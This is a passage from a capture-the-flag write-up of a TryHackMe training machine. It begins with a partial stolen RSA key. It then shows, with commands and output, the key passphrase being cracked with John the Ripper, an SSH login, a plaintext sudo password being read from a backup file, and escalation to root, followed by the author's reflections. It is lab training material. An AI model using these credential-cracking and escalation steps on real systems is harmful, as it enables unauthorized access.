OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
Take this to your attack machine and try to connect via ssh. You may do it on the victim machine too. However, for the ease of use I’ll use my own attack machine.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# chmod 600 kay-key.txt
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh -i kay-key.txt kay@10.10.126.175
Enter passphrase for key 'kay-key.txt':
Enter passphrase for key 'kay-key.txt':
kay@10.10.126.175's password:
Permission denied, please try again.
kay@10.10.126.175's password:
Permission denied, please try again.
kay@10.10.126.175's password:
kay@10.10.126.175: Permission denied (publickey,password).
It is passphrase protected. We try to crack it with John The Ripper.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh2john kay-key.txt > ssh-john.txt
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# john ssh-john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay-key.txt)
1g 0:00:00:00 DONE (2024-09-14 09:43) 9.090g/s 752290p/s 752290c/s 752290C/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The passphrase is beeswax
.
┌──(root㉿kali)-[~/tryhackme/basic_pentesting]
└─# ssh -i kay-key.txt kay@10.10.126.175
Enter passphrase for key 'kay-key.txt':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Sat Sep 14 05:08:29 2024 from 10.10.126.175
kay@basic2:~$
We land to the machine as a user `kay`. Sudo password is written in the pass.bak
file located in the home directory.
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$
We use that password to get sudo
.
kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
kay@basic2:~$
So, user kay
may run ALL
the commands as root. So we basically get the root user again.
We finish with the message from the creator of the machine.
kay@basic2:~$ sudo su
root@basic2:/home/kay# cd
root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!
If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.
Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
out to me.
Happy hacking!
root@basic2:~#
Conclusions & Comments
This room was one of the most fun and educational boot2root machine that I’ve ever solved. I really love the concept of having multiple solution routes. However, It took one full day for me to solve this room completely. The hardest part of the machine was doing the non-metasploit exploit on Apache Struts2 service. Tracking the ICMP response messages was a cool trick to determine if it is working or not. Also, there is a vim version called vim.basic
, I learned how to exit vim properly :D. Another important note is SSH brute-forcing takes a long time. Other than that, having multiple users with different permission levels, having multiple foothold paths, working on different escalation paths is a wonderful exercise.
Other Notable Resources
- John Hammond’s video: https://www.youtube.com/watch?v=xl2Xx5YOKcI
- Rob Willis’ video: https://www.youtube.com/watch?v=Aaglpe4A27A
- Syed Umar Arfeen’s solution: https://umar0x01.sh/post/thm-basic_pentesting/